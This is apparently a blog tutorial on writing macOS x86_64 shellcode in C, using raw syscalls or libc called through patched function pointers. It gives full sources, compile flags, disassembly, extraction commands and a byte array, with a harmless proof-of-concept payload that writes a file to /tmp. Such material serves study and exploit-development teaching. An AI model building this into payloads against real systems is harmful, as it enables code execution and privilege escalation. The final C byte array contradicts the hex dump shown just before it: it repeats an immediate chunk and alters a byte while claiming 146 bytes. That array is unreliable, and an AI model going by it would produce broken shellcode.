macOS: Shellcoding on Apples (C x64)
Introduction
Hello again! In our previous blogposts we explored shellcoding on macOS for both x86_64 and ARM64 architectures — But we always wrote our shellcodes by hand in assembly. Writing raw assembly is great for learning and full control, But sometimes you just want a quick, working shellcode without hand-crafting every push and movabs. So the question for this post: Can we write our shellcode in C and let the compiler do the heavy lifting? The answer is yes — with rules. The compiler is like a talented but chatty friend: left unattended, it will invite libc, the stack protector and RIP-relative addressing to the party, And your shellcode dies the moment you memcpy it somewhere else. In this post we will learn how to keep the compiler on a leash and get clean, extractable shellcode out of C — using two different methods, Each with its own trade-offs:
- Method 1 — Position-Independent, Syscall-Only: zero
libc, zero fixed addresses, works anywhere, Any process, Any boot. The purist approach. - Method 2 — libc Through Function-Pointer Placeholders: we keep calling
libcfunctions likeexecv— But through pointers holding placeholder addresses, Which we patch with the real runtime addresses before use. Way faster to develop, With one big catch:ASLR.
This is a continuation of our shellcoding series, So the XNU syscall classes, the 0x2000004-style encoded numbers and the calling conventions from the first post are assumed known — Method 1 reuses them heavily. And to keep things fair, Both methods will cook the exact same meal: our old friend echo "W00tW00t" > /tmp/Pwned.txt, So we can compare apples to apples. Let’s start with our Blogpost.
You can find all the code on my github: https://github.com/Zeyad-Azima/macOShellcoding
Our environment for this post (this is an Intel Mac, so everything here runs natively):
~ % sw_vers
ProductName: macOS
ProductVersion: 26.5.1
BuildVersion: 25F80
~ % uname -m
x86_64
~ % clang --version | head -1
Apple clang version 21.0.0 (clang-2100.0.123.102)
Note: you may have heard that
macOSshipsgcc. Rungcc --versionand you’ll see it’s actuallyApple clangwearing agcccostume — Apple replacedGCCwithLLVM/clangyears ago, So that’s what we will use here. Keep in mind that olderGNU gccversions arrange code differently in a couple of spots — If you’re following along on a machine with realgcc, Expect small differences in the dumps and always trust your own disassembly.
Limitations
Writing shellcode in C sounds like a free lunch, But it comes with a menu of limitations we need to respect. Let’s write our usual payload — execve("/bin/sh", ["/bin/sh","-c","echo \"W00tW00t\" > /tmp/Pwned.txt"], NULL) — as plain C, compile it, And see what the compiler serves us:
/* bad_shellcode.c — the naive attempt: looks like normal C, breaks as shellcode */
#include <unistd.h>
int main(void) {
char *argv[] = {"/bin/sh", "-c", "echo \"W00tW00t\" > /tmp/Pwned.txt", NULL};
char *envp[] = {NULL};
execve(argv[0], argv, envp);
return 0;
}
shellcoding % clang -arch x86_64 -c bad_shellcode.c -o bad_shellcode.o
shellcoding % objdump --disassemble --x86-asm-syntax=intel bad_shellcode.o
bad_shellcode.o: file format mach-o 64-bit x86-64
Disassembly of section __TEXT,__text:
0000000000000000 <_main>:
0: 55 push rbp
1: 48 89 e5 mov rbp, rsp
4: 48 83 ec 40 sub rsp, 0x40
8: 48 8b 05 00 00 00 00 mov rax, qword ptr [rip] ## 0xf <_main+0xf>
f: 48 8b 00 mov rax, qword ptr [rax]
12: 48 89 45 f8 mov qword ptr [rbp - 0x8], rax
16: c7 45 c4 00 00 00 00 mov dword ptr [rbp - 0x3c], 0x0
1d: 48 8b 05 00 00 00 00 mov rax, qword ptr [rip] ## 0x24 <_main+0x24>
24: 48 89 45 d0 mov qword ptr [rbp - 0x30], rax
28: 48 8b 05 08 00 00 00 mov rax, qword ptr [rip + 0x8] ## 0x37 <_main+0x37>
2f: 48 89 45 d8 mov qword ptr [rbp - 0x28], rax
33: 48 8b 05 10 00 00 00 mov rax, qword ptr [rip + 0x10] ## 0x4a <_main+0x4a>
3a: 48 89 45 e0 mov qword ptr [rbp - 0x20], rax
3e: 48 8b 05 18 00 00 00 mov rax, qword ptr [rip + 0x18] ## 0x5d <_main+0x5d>
45: 48 89 45 e8 mov qword ptr [rbp - 0x18], rax
49: 48 8d 7d c8 lea rdi, [rbp - 0x38]
4d: 31 f6 xor esi, esi
4f: ba 08 00 00 00 mov edx, 0x8
54: e8 00 00 00 00 call 0x59 <_main+0x59>
59: 48 8b 7d d0 mov rdi, qword ptr [rbp - 0x30]
5d: 48 8d 75 d0 lea rsi, [rbp - 0x30]
61: 48 8d 55 c8 lea rdx, [rbp - 0x38]
65: e8 00 00 00 00 call 0x6a <_main+0x6a>
6a: 48 8b 05 00 00 00 00 mov rax, qword ptr [rip] ## 0x71 <_main+0x71>
71: 48 8b 00 mov rax, qword ptr [rax]
74: 48 8b 4d f8 mov rcx, qword ptr [rbp - 0x8]
78: 48 39 c8 cmp rax, rcx
7b: 75 08 jne 0x85 <_main+0x85>
7d: 31 c0 xor eax, eax
7f: 48 83 c4 40 add rsp, 0x40
83: 5d pop rbp
84: c3 ret
85: e8 00 00 00 00 call 0x8a <_main+0x8a>
shellcoding % nm -u bad_shellcode.o
___stack_chk_fail
___stack_chk_guard
_execve
_memset
And here is the menu of limitations, revealed by that dump:
| # | Limitation | Evidence in the dump |
|---|---|---|
| 1 | {R\E}IP-relative addressing — every string literal and static object is reached with mov rax, qword ptr [rip], which is patched by relocations at link time. Copy this blob somewhere else and those addresses point to garbage |
All the [rip] loads |
| 2 | Outsourced calls — execve() and the compiler-inserted memset() are calls into libc. Your extracted blob has no libc — those calls jump into the void |
call instructions + nm -u |
| 3 | Stack protector — the canary load at the top, the cmp + jne, and the trailing call ___stack_chk_fail are pure overhead you must compile out |
0x8, 0x6a–0x7b, 0x85 |
| 4 | Relocations — a shellcode blob must be reloc-free; anything referencing linked addresses is disqualified | check with otool -r |
Note: notice we always pass
--x86-asm-syntax=inteltoobjdump— Apple’s default flavor isAT&T, And we already suffered enough in assembly, no need to suffer reading it backwards too.
Our two methods attack these limitations from opposite directions: Method 1 eliminates libc entirely (pure syscalls, position-independent), While Method 2 embraces libc — But calls it through addresses we control. Let’s build both.
Shellcode Creation
Method 1: Position-Independent, Syscall-Only
Our target shellcode does the same thing as always: execve("/bin/sh", ["/bin/sh", "-c", "echo \"W00tW00t\" > /tmp/Pwned.txt"], NULL). Following our workflow from the previous posts, we already know everything: the syscall numbers with their BSD class encoding (execve = 0x200003B, exit = 0x2000001), And the calling conventions (RDI, RSI, RDX for the arguments, RAX for the number, then syscall).
Avoid {R|E}IP
This is the heart of the whole technique. Anything in C that lives at a fixed address — string literals, globals, static arrays — becomes a RIP-relative reference in the compiled output. RIP-relative means “the thing at this distance from where the code is running” — perfect for a linked binary that stays put, Fatal for shellcode that gets memcpy’d into some mmap’d page at a random address. The rule is simple:
Every byte your shellcode needs must be created at runtime, on the stack, from immediate values.
So how do we write that in C without the compiler smuggling a string literal in? We do exactly what we did by hand in assembly: movabs immediates into stack slots. In C that’s just initializing unsigned long variables with the little-endian hex of the string — The compiler turns each one into a movabs rax, <imm64> + stack store. Let’s decode our strings the same way we did in the assembly post:
"/bin/sh\0"→ bytes2f 62 69 6e 2f 73 68 00→ little-endian0x0068732f6e69622f"-c\0"→ bytes2d 63 00 ...→ little-endian0x000000000000632d"echo \"W00tW00t\" > /tmp/Pwned.txt\0"→ 33 bytes → fourunsigned longimmediates + a zero terminator byte:
| Chunk | Bytes (little-endian) | Immediate |
|---|---|---|
cmd[0..7] |
65 63 68 6f 20 22 57 30 |
0x305722206f686365 |
cmd[8..15] |
30 74 57 30 30 74 22 20 |
0x2022743030577430 |
cmd[16..23] |
3e 20 2f 74 6d 70 2f 50 |
0x502f706d742f203e |
cmd[24..31] |
77 6e 65 64 2e 74 78 74 |
0x7478742e64656e77 |
cmd[32] |
00 |
terminator |
And here is our full shellcode in C — syscall wrappers via inline assembly (next section), strings as immediates, argv array on the stack, NULL-terminated:
/* shellcode.c — position-independent, syscall-only C shellcode for macOS x86_64 */
typedef unsigned long u64;
#define SYS_write 0x2000004UL /* (SYSCALL_CLASS_UNIX << 24) | 4 */
#define SYS_execve 0x200003BUL /* (SYSCALL_CLASS_UNIX << 24) | 59 */
#define SYS_exit 0x2000001UL /* (SYSCALL_CLASS_UNIX << 24) | 1 */
static u64 sc3(u64 n, u64 a, u64 b, u64 c)
{
u64 ret;
__asm__ __volatile__("syscall"
: "=a"(ret)
: "a"(n), "D"(a), "S"(b), "d"(c)
: "rcx", "r11", "memory");
return ret;
}
int main(void)
{
/* strings built from immediates on the stack — never a pointer into static data */
volatile u64 s_sh = 0x0068732f6e69622fUL; /* "/bin/sh\0" */
volatile u64 s_c = 0x000000000000632dUL; /* "-c\0" */
/* "echo \"W00tW00t\" > /tmp/Pwned.txt\0" — 33 bytes, as 4 immediates + terminator */
volatile char cmd[33];
*(volatile u64 *)&cmd[0] = 0x305722206f686365UL;
*(volatile u64 *)&cmd[8] = 0x2022743030577430UL;
*(volatile u64 *)&cmd[16] = 0x502f706d742f203eUL;
*(volatile u64 *)&cmd[24] = 0x7478742e64656e77UL;
cmd[32] = 0;
/* argv array on the stack — pointers to our stack strings, NULL-terminated */
u64 argv[4];
argv[0] = (u64)&s_sh;
argv[1] = (u64)&s_c;
argv[2] = (u64)cmd;
argv[3] = 0;
sc3(SYS_execve, (u64)&s_sh, (u64)argv, 0);
sc3(SYS_exit, 0, 0, 0);
__builtin_unreachable();
}
A few things to notice here:
- The
volatilekeywords are not decoration — they force every store to actually happen, in order, and stop-O2from eliding anything the inline asm can’t see. Shellcode is no place for clever elision. argv[3] = 0— ourNULLterminator, the same trap we hit in theARM64post. TheCcompiler adds it silently in normal code; here we place it ourselves.__builtin_unreachable()after the finalexit— tells the compiler there’s no way back, so it doesn’t generate any return path (you’ll see it emit aud2— a “this should never execute” trap — as the last instruction. It never does.)- The syscall numbers are the exact same
BSD-encoded tickets from our first post:(SYSCALL_CLASS_UNIX << 24) | syscall_number.
Now the compile line — this is where the leash is:
shellcoding % clang -arch x86_64 -c -O2 -ffreestanding -fno-stack-protector -fno-builtin shellcode.c -o shellcode.o
shellcoding % nm -u shellcode.o
shellcoding % objdump --disassemble --x86-asm-syntax=intel shellcode.o
shellcode.o: file format mach-o 64-bit x86-64
Disassembly of section __TEXT,__text:
0000000000000000 <_main>:
0: 55 push rbp
1: 48 89 e5 mov rbp, rsp
4: 48 b8 2f 62 69 6e 2f 73 68 00 movabs rax, 0x68732f6e69622f
e: 48 89 45 f0 mov qword ptr [rbp - 0x10], rax
12: 48 c7 45 f8 2d 63 00 00 mov qword ptr [rbp - 0x8], 0x632d
1a: 48 b8 65 63 68 6f 20 22 57 30 movabs rax, 0x305722206f686365
24: 48 89 45 c0 mov qword ptr [rbp - 0x40], rax
28: 48 b8 30 74 57 30 30 74 22 20 movabs rax, 0x2022743030577430
32: 48 89 45 c8 mov qword ptr [rbp - 0x38], rax
36: 48 b8 3e 20 2f 74 6d 70 2f 50 movabs rax, 0x502f706d742f203e
40: 48 89 45 d0 mov qword ptr [rbp - 0x30], rax
44: 48 b8 77 6e 65 64 2e 74 78 74 movabs rax, 0x7478742e64656e77
4e: 48 89 45 d8 mov qword ptr [rbp - 0x28], rax
52: c6 45 e0 00 mov byte ptr [rbp - 0x20], 0x0
56: 48 8d 7d f0 lea rdi, [rbp - 0x10]
5a: 48 89 7d a0 mov qword ptr [rbp - 0x60], rdi
5e: 48 8d 45 f8 lea rax, [rbp - 0x8]
62: 48 89 45 a8 mov qword ptr [rbp - 0x58], rax
66: 48 8d 45 c0 lea rax, [rbp - 0x40]
6a: 48 89 45 b0 mov qword ptr [rbp - 0x50], rax
6e: 48 c7 45 b8 00 00 00 00 mov qword ptr [rbp - 0x48], 0x0
76: 48 8d 75 a0 lea rsi, [rbp - 0x60]
7a: b8 3b 00 00 02 mov eax, 0x200003b
7f: 31 d2 xor edx, edx
81: 0f 05 syscall
83: b8 01 00 00 02 mov eax, 0x2000001
88: 31 ff xor edi, edi
8a: 31 f6 xor esi, esi
8c: 31 d2 xor edx, edx
8e: 0f 05 syscall
90: 0f 0b ud2
Look at that. nm -u printed nothing — zero undefined symbols. No [rip] anywhere. Every string is a movabs immediate stored to the stack — the compiler literally generated the same movabs + mov [rbp-x], rax pattern we hand-wrote in the assembly post. The argv array is built with lea rbp-relative addresses (stack addresses — computed at runtime, position-independent by nature), And both syscalls are right there: mov eax, 0x200003b + syscall, then the exit fallback. The ud2 at the end is the __builtin_unreachable() trap — unreachable, since exit never returns.
Note: watch the flags, they are not optional. Drop
-O2and the compiler stops inliningsc3()— you get realcallinstructions to your own wrapper, splitting the blob into pieces. Drop-fno-stack-protectorand (depending on the toolchain version) a canary +___stack_chk_failsneaks in. Drop-ffreestanding/-fno-builtinand the compiler starts “helping” by callingmemsetand friends. Always verify withnm -u(must print nothing) andgrep ripon the disassembly (must print nothing).
Avoid outsourced calls
The second rule: the shellcode can only call the kernel. Every call instruction in the final blob is a liability — call rel32 to a function that got linked elsewhere is a one-way ticket to SIGSEGV once the blob is relocated. That means:
- No
libcfunctions.execve(),write(),memset(),printf()— all outsourced. We replace them with our own inline-assembly syscall wrappers:
static u64 sc3(u64 n, u64 a, u64 b, u64 c)
{
u64 ret;
__asm__ __volatile__("syscall"
: "=a"(ret)
: "a"(n), "D"(a), "S"(b), "d"(c)
: "rcx", "r11", "memory");
return ret;
}
Reading the constraints: `"a"(n)` puts the encoded syscall number in `RAX`, `"D"(a)`, `"S"(b)`, `"d"(c)` load `RDI`, `RSI`, `RDX` with the three arguments — the exact calling convention from our first post. The clobbers list tells the compiler that `RCX` and `R11` get destroyed by the `syscall` instruction (they hold `RIP` and `RFLAGS` after the trap) and that `"memory"` may be read/written — so the compiler won’t reorder our stack-string stores past the syscall. Need more arguments? Add `sc4`, `sc5`... with `"r"(d)` constraints mapping into `R10` (note: the 4th kernel argument is `R10`, not `RCX` — `syscall` overwrites `RCX`).
- No function calls you didn’t inline. That’s why
-O2matters: our tinystaticwrapper gets inlined at every call site, so the final blob has zerocallinstructions. Verify it —grep callon the disassembly must come back empty (ours does: onlypush,mov,lea,xor,syscall). - No standard headers pulling in magic. We only use our own
typedefand#defines. Headers like<unistd.h>are fine for reading function signatures, But don’t call anything from them.
The verification ritual before extracting — all three must be silent:
shellcoding % nm -u shellcode.o
shellcoding % objdump --disassemble --x86-asm-syntax=intel shellcode.o | grep -i "\[rip"
shellcoding % otool -r shellcode.o
shellcode.o:
No undefined symbols, No RIP-relative memory operands, No relocations. The blob is free to live anywhere.
Method 2: libc Through Function-Pointers Placeholders
Method 1 is bulletproof — But writing something bigger, Like a bind shell, with raw syscall wrappers means hand-declaring struct sockaddr_in layouts, Byte-swapping ports by hand and juggling five different syscall numbers. Since we can call any function we want in C, development would be much faster if we could just… call libc. And we can — with a trick: we declare the function ourselves as a function-pointer type, Initialize it with a placeholder address, And patch that placeholder with execv’s real runtime address before the shellcode ever runs.
The catch first, So you can decide where this method applies: the addresses we hardcode are position-dependent — ASLR randomizes libc’s location in the shared cache once per boot. The address we bake in today is garbage after the next reboot. That means this method needs code execution on the target first — So we can look up the real addresses at runtime — Which makes it perfect for local exploitation (privilege escalation, post-exploitation), And the wrong tool for a fire-and-forget remote payload. Choose your weapon per scenario.
Same Payload, Different Strategy
Remember the two problems our bad_shellcode.o dump exposed in the Limitations section? The [rip]-relative string, And the call into libc’s stub. Method 1’s answer was “eliminate libc”. Method 2’s answer is sneakier:
- The string problem — we solve it exactly like Method 1: our
u64immediate chunks on the stack. Reuse the same chunk table, No new homework. - The stub problem — instead of replacing
execv()with a raw syscall, we keep the call — but redirect it: we declareexecv’s signature ourselves as a function-pointer type, Initialize the pointer with a placeholder value, And the compiler emits acall registerthrough our variable instead of acallinto the__stubssection. Later, We patch the placeholder with the real runtime address ofexecv.
The compile line is lighter this time — we don’t need -ffreestanding or -fno-builtin (we’re not hiding from libc, we’re just not calling it by name), But we still take the canary off:
clang -arch x86_64 -c -fno-stack-protector shellcode_m2.c -o shellcode_m2.o
Building Strings Without the Compiler’s Help
First attempt — the classic trick you’ll see recommended: declare the string as a char array with character initializers, Hoping the compiler materializes it inside the code:
char b[] = {'/','b','i','n','/','s','h',0};
On older gcc versions this worked — But our Apple clang 21 is smarter than we’d like: it constant-folds the array back into a __cstring literal and copies it in with rip-relative loads — Even with volatile, Even at -O0:
; what clang 21 actually emits for the initializer above (still rip-dependent!):
100000478: 66 8b 05 33 00 00 00 mov ax, word ptr [rip + 0x33]
10000047f: 66 89 45 f8 mov word ptr [rbp - 0x8], ax
100000483: 48 8b 05 20 00 00 00 mov rax, qword ptr [rip + 0x20]
10000048a: 48 89 45 f0 mov qword ptr [rbp - 0x10], rax
The compiler outsmarted the trick. So we go back to our own recipe from Method 1 — immediates the compiler cannot fold, Because they’re just numbers being moved into stack slots:
volatile u64 s_sh = 0x0068732f6e69622fUL; /* "/bin/sh\0" */
volatile u64 s_c = 0x000000000000632dUL; /* "-c\0" */
volatile char cmd[33];
*(volatile u64 *)&cmd[0] = 0x305722206f686365UL;
*(volatile u64 *)&cmd[8] = 0x2022743030577430UL;
*(volatile u64 *)&cmd[16] = 0x502f706d742f203eUL;
*(volatile u64 *)&cmd[24] = 0x7478742e64656e77UL;
cmd[32] = 0;
Same chunk table as Method 1 — One payload, One set of homework. For very short strings you can also do element-wise assignments (b[0] = '/'; b[1] = 'b'; ...) — Each becomes its own mov byte ptr [rbp - x], imm8, Which clang also can’t fold. Pick whichever reads better for your shellcode.
Calling libc Through a Placeholder
Now the stub problem. execv’s real signature (from Libc’s unistd.h) is:
int execv(const char *path, char *const argv[]);
We declare that signature ourselves as a function-pointer type, create a variable of it, And cast our placeholder address into it — This works because functions in C are just memory addresses, And calling through the pointer emits an indirect call register instead of a linked call:
/* shellcode_m2.c — Method 2: libc through function-pointer placeholders */
typedef unsigned long u64;
int main(void)
{
/* execv's real signature: int execv(const char *path, char *const argv[]); */
typedef int *(*execv_t)(const char *, char *const *);
execv_t my_execv = (execv_t)0x1122334455667788; /* placeholder — patched with the real one below */
volatile u64 s_sh = 0x0068732f6e69622fUL; /* "/bin/sh\0" */
volatile u64 s_c = 0x000000000000632dUL; /* "-c\0" */
/* "echo \"W00tW00t\" > /tmp/Pwned.txt\0" — same chunks as Method 1 */
volatile char cmd[33];
*(volatile u64 *)&cmd[0] = 0x305722206f686365UL;
*(volatile u64 *)&cmd[8] = 0x2022743030577430UL;
*(volatile u64 *)&cmd[16] = 0x502f706d742f203eUL;
*(volatile u64 *)&cmd[24] = 0x7478742e64656e77UL;
cmd[32] = 0;
char *argv[4];
argv[0] = (char *)&s_sh; /* argv[0] must be the same path */
argv[1] = (char *)&s_c;
argv[2] = cmd;
argv[3] = 0; /* NULL-terminated */
my_execv((char *)&s_sh, argv);
return 0;
}
Note: no
<unistd.h>include at all — we don’t refer to the realexecvby name anywhere, So there is nothing for the linker to resolve. Also keep ourNULL-terminator discipline onargvfrom the previous posts — the compiler isn’t adding it for us here.
Compile and disassemble:
shellcoding % clang -arch x86_64 -c -fno-stack-protector shellcode_m2.c -o shellcode_m2.o
shellcoding % nm -u shellcode_m2.o
shellcoding % objdump --disassemble --x86-asm-syntax=intel shellcode_m2.o
shellcode_m2.o: file format mach-o 64-bit x86-64
Disassembly of section __TEXT,__text:
0000000000000000 <_main>:
0: 55 push rbp
1: 48 89 e5 mov rbp, rsp
4: 48 83 ec 70 sub rsp, 0x70
8: c7 45 fc 00 00 00 00 mov dword ptr [rbp - 0x4], 0x0
f: 48 b8 88 77 66 55 44 33 22 11 movabs rax, 0x1122334455667788
19: 48 89 45 f0 mov qword ptr [rbp - 0x10], rax
1d: 48 b8 2f 62 69 6e 2f 73 68 00 movabs rax, 0x68732f6e69622f
27: 48 89 45 e8 mov qword ptr [rbp - 0x18], rax
2b: 48 c7 45 e0 2d 63 00 00 mov qword ptr [rbp - 0x20], 0x632d
33: 48 b8 65 63 68 6f 20 22 57 30 movabs rax, 0x305722206f686365
3d: 48 89 45 b0 mov qword ptr [rbp - 0x50], rax
41: 48 b8 30 74 57 30 30 74 22 20 movabs rax, 0x2022743030577430
4b: 48 89 45 b8 mov qword ptr [rbp - 0x48], rax
4f: 48 b8 3e 20 2f 74 6d 70 2f 50 movabs rax, 0x502f706d742f203e
59: 48 89 45 c0 mov qword ptr [rbp - 0x40], rax
5d: 48 b8 77 6e 65 64 2e 74 78 74 movabs rax, 0x7478742e64656e77
67: 48 89 45 c8 mov qword ptr [rbp - 0x38], rax
6b: c6 45 d0 00 mov byte ptr [rbp - 0x30], 0x0
6f: 48 8d 45 e8 lea rax, [rbp - 0x18]
73: 48 89 45 90 mov qword ptr [rbp - 0x70], rax
77: 48 8d 45 e0 lea rax, [rbp - 0x20]
7b: 48 89 45 98 mov qword ptr [rbp - 0x68], rax
7f: 48 8d 45 b0 lea rax, [rbp - 0x50]
83: 48 89 45 a0 mov qword ptr [rbp - 0x60], rax
87: 48 c7 45 a8 00 00 00 00 mov qword ptr [rbp - 0x58], 0x0
8f: 48 8b 45 f0 mov rax, qword ptr [rbp - 0x10]
93: 48 8d 75 90 lea rsi, [rbp - 0x70]
97: 48 8d 7d e8 lea rdi, [rbp - 0x18]
9b: ff d0 call rax
9d: 31 c0 xor eax, eax
9f: 48 83 c4 70 add rsp, 0x70
a3: 5d pop rbp
a4: c3 ret
No __stubs, No [rip], nm -u silent — the call went through call rax, And the target address sits inside our code as the movabs rax, 0x1122334455667788 placeholder. Fully self-contained. Both problems solved — Now we just need a real address to patch in.
Hunting the Real Address at Runtime
Since functions in C are just memory addresses, We can simply print execv’s value from any running process:
/* getaddress.c — fetch execv's runtime address */
#include <unistd.h>
#include <stdio.h>
int main(void)
{
printf("0x%lx\n", (unsigned long)execv);
}
shellcoding % clang -arch x86_64 getaddress.c -o getaddress
shellcoding % ./getaddress
0x7ff80c62a967
shellcoding % ./getaddress
0x7ff80c62a967
shellcoding % clang -arch x86_64 getaddress.c -o getaddress2
shellcoding % ./getaddress2
0x7ff80c62a967
Notice two things: the address is the same across different binaries and different runs — Cause libc lives in the shared cache, Which ASLR slides once per boot and then leaves alone. So 0x7ff80c62a967 is valid on this machine until the next reboot — This is exactly why Method 2 is a local exploitation technique: get code execution, Read the address, Ship the shellcode — All within the same boot.
Patch, Extract, Load
Now we replace the placeholder with the real address and rebuild:
execv_t my_execv = (execv_t)0x7ff80c62a967; /* fetched at runtime — valid until reboot */
Note: in a real exploitation scenario you wouldn’t hardcode it by hand either — Your first-stage code would resolve the address at runtime (parse the shared cache, Or simply read it from a process you already control) and write it into the placeholder before executing the blob. For the lab, Compiling it in is enough to prove the concept.
Let’s prove it twice — First as a linked binary, Then as real shellcode in our loader. Linked:
shellcoding % sed 's/0x1122334455667788/0x7ff80c62a967/' shellcode_m2.c > shellcode_m2_final.c
shellcoding % clang -arch x86_64 -fno-stack-protector shellcode_m2_final.c -o sc_m2
shellcoding % rm -f /tmp/Pwned.txt
shellcoding % ./sc_m2
shellcoding % echo $?
0
shellcoding % cat /tmp/Pwned.txt
W00tW00t
And now the full circle — extract the blob and feed it to our fork-based RWX loader:
shellcoding % clang -arch x86_64 -c -fno-stack-protector shellcode_m2_final.c -o shellcode_m2_final.o
shellcoding % segedit shellcode_m2_final.o -extract __TEXT __text sc_m2_bytes.bin
shellcoding % wc -c sc_m2_bytes.bin
165 sc_m2_bytes.bin
shellcoding % xxd sc_m2_bytes.bin | head -3
00000000: 5548 89e5 4883 ec70 c745 fc00 0000 0048 UH..H..p.E.....H
00000010: b867 a962 0cf8 7f00 0048 8945 f048 b82f .g.b.....H.E.H./
00000020: 6269 6e2f 7368 0048 8945 e848 c745 e02d bin/sh.H.E.H.E.-
165 bytes — And look at offset 0x11: 67 a9 62 0c f8 7f 00 00 = our 0x7ff80c62a967 in little-endian, Baked into the blob. Generate the header (with xxd -i, Never by hand — more on that below), And load it with the same fork-based loader from Method 1:
shellcoding % xxd -i sc_m2_bytes.bin > sc_m2_bytes.h
shellcoding % clang -arch x86_64 -o cloader_m2 cloader_m2.c
shellcoding % rm -f /tmp/Pwned.txt
shellcoding % ./cloader_m2
[parent 95793] spawned child 95796, waiting...
[child 95796] executing shellcode (165 bytes)...
[parent] child exited with status 0
[parent] Success: '/tmp/Pwned.txt' exists.
shellcoding % cat /tmp/Pwned.txt
W00tW00t
Our C-written shellcode — calling libc through an address we hardcoded — Extracted, Loaded into an anonymous RWX page, And the file is there. Full circle, Method 2 edition.
Note: want the
nasmroute instead of the loader? Same conversion rules as our first post — drop theptrkeywords, Renamemovabstomov, Replace the placeholder with the real address — Thennasm -f macho64+ld -lSystem -e _mainand you have a standalone binary, Just like old times.
Warning: a story from the testing of this very post. On my first extraction run, I grabbed the bytes from the unpatched object — placeholder
0x1122334455667788still baked in. The linked binary wasn’t tested, Straight to the loader — And the child died instantly:SIGSEGV, faulting address0x0,RIPfrozen on thecall rax. That’s the classic signature of a general-protection fault:0x1122334455667788is a non-canonical address onx86_64(bits above47are set wrong), So the CPU refuses the control transfer before it even starts. So if your Method 2 shellcode dies withsi_addr = 0x0right at thecall— You forgot to patch the placeholder. The address hunt is not optional.
Method 1 vs Method 2
| Method 1 — Syscall-Only | Method 2 — Function Pointers | |
|---|---|---|
| Position independence | Fully PIC — works at any address, Any process, Any boot |
Position-dependent — addresses valid until reboot |
libc usage |
None — raw syscalls via inline asm | Full libc (execv, socket, htons…) through placeholders |
| Prerequisite for use | Nothing — fire and forget | Code execution on target first, To read the real addresses |
| Best scenario | Remote payloads, Memory-corruption exploits | Local exploitation, Privilege escalation, Post-exploitation |
| Dev speed | Slower — hand-rolled structs & syscall numbers | Fast — normal C with real functions |
| Failure signature if stale | Immune to ASLR |
SIGSEGV with si_addr = 0x0 at the call — patch your placeholders |
Execute shellcode
Now let’s do Method 1’s extraction in full detail — first prove the C shellcode runs as a normal binary, Then extract it and run it as real shellcode from a loader.
Stage 1 — run it linked. We link the object into an executable with our main as the entry point (ld wants the symbol name _main, which is exactly what our C main compiles to):
shellcoding % ld -o sc shellcode.o -L /Library/Developer/CommandLineTools/SDKs/MacOSX26.5.sdk/usr/lib -lSystem -e _main -platform_version macos 26.5 26.5
shellcoding % rm -f /tmp/Pwned.txt
shellcoding % ./sc
shellcoding % echo $?
0
shellcoding % ls -la /tmp/Pwned.txt
-rw-r--r-- 1 zeyadazima.com wheel 9 Sep 17 00:46 /tmp/Pwned.txt
shellcoding % cat /tmp/Pwned.txt
W00tW00t
The C shellcode runs and does its job. (-lSystem is only there because ld refuses to produce a dynamic executable without it — our object imports nothing from it.)
Stage 2 — extract the blob. Same pipeline as our x86_64 assembly post — objdump with Intel syntax, grab the hex bytes, convert:
shellcoding % objdump --disassemble --x86-asm-syntax=intel shellcode.o > sc.disasm
shellcoding % grep -E '^[[:space:]]+[0-9a-f]+:' sc.disasm \
| awk '{for(i=2;i<=NF;i++) if ($i ~ /^[0-9a-f]{2}$/) printf "%s", $i}' \
| tr -d '\n' > shellcode.hex
shellcoding % cat shellcode.hex
554889e548b82f62696e2f736800488945f048c745f82d63000048b86563686f20225730488945c048b83074573030742220488945c848b83e202f746d702f50488945d048b8776e65642e747874488945d8c645e000488d7df048897da0488d45f8488945a8488d45c0488945b048c745b800000000488d75a0b83b00000231d20f05b80100000231ff31f631d20f050f0b
shellcoding % xxd -r -p shellcode.hex > shellcode.bin
shellcoding % wc -c shellcode.bin
146 shellcode.bin // 146 bytes
146 bytes of shellcode, written in C. And since we’re on x86_64, the otool cross-check matches byte-for-byte:
shellcoding % otool -s __TEXT __text shellcode.o | sed -n '3,$p' \
| awk '{ for(i=2;i<=NF;i++) printf "%s",$i } END{ print "" }' \
| xxd -r -p | cmp - shellcode.bin && echo IDENTICAL
IDENTICAL
shellcoding % xxd shellcode.bin | head -2
00000000: 5548 89e5 48b8 2f62 696e 2f73 6800 4889 UH..H./bin/sh.H.
00000010: 45f0 48c7 45f8 2d63 0000 48b8 6563 686f E.H.E.-c..H.echo
You can even see /bin/sh and echo sitting in the dump — our stack-built strings as movabs immediates.
Note: whatever you do, do not hand-type the byte array into the loader. During the testing of this very post, a hand-copied array turned out to be
154bytes instead of146with corruption starting at offset36— and the “mysteriously crashing” loader cost us a debugging session that ended atcmpbetween two arrays. Alwaysxxd -i shellcode.bin > shellcode.hand#includeit. The machine is better at copying 146 bytes than you are, Accept it.
Generate the C array the right way:
shellcoding % xxd -i shellcode.bin > shellcode.h
shellcoding % cat shellcode.h
unsigned char shellcode_bin[] = {
0x55, 0x48, 0x89, 0xe5, 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73,
0x68, 0x00, 0x48, 0x89, 0x45, 0xf0, 0x48, 0xc7, 0x45, 0xf8, 0x2d, 0x63,
0x00, 0x00, 0x48, 0xb8, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x22, 0x57, 0x30,
0x30, 0x74, 0x57, 0x30, 0x30, 0x74, 0x22, 0x20, 0x48, 0x89, 0x45, 0xc0,
0x48, 0xb8, 0x30, 0x74, 0x57, 0x30, 0x30, 0x74, 0x22, 0x20, 0x48, 0x89,
0x45, 0xc8, 0x48, 0xb8, 0x3e, 0x20, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x50,
0x48, 0x89, 0x45, 0xd0, 0x48, 0xb8, 0x77, 0x6e, 0x65, 0x64, 0x2e, 0x74,
0x78, 0x74, 0x48, 0x89, 0x45, 0xd8, 0xc6, 0x45, 0xe0, 0x00, 0x48, 0x8d,
0x7d, 0xf0, 0x48, 0x89, 0x45, 0xa0, 0x48, 0x8d, 0x45, 0xf8, 0x48, 0x89,
0x45, 0xa8, 0x48, 0x8d, 0x45, 0xc0, 0x48, 0x89, 0x45, 0xb0, 0x48, 0xc7,
0x45, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x75, 0xa0, 0xb8, 0x3b,
0x00, 0x00, 0x02, 0x31, 0xd2, 0x0f, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x02,
0x31, 0xff, 0x31, 0xf6, 0x31, 0xd2, 0x0f, 0x05, 0x0f, 0x0b
};
unsigned int shellcode_bin_len = 146;
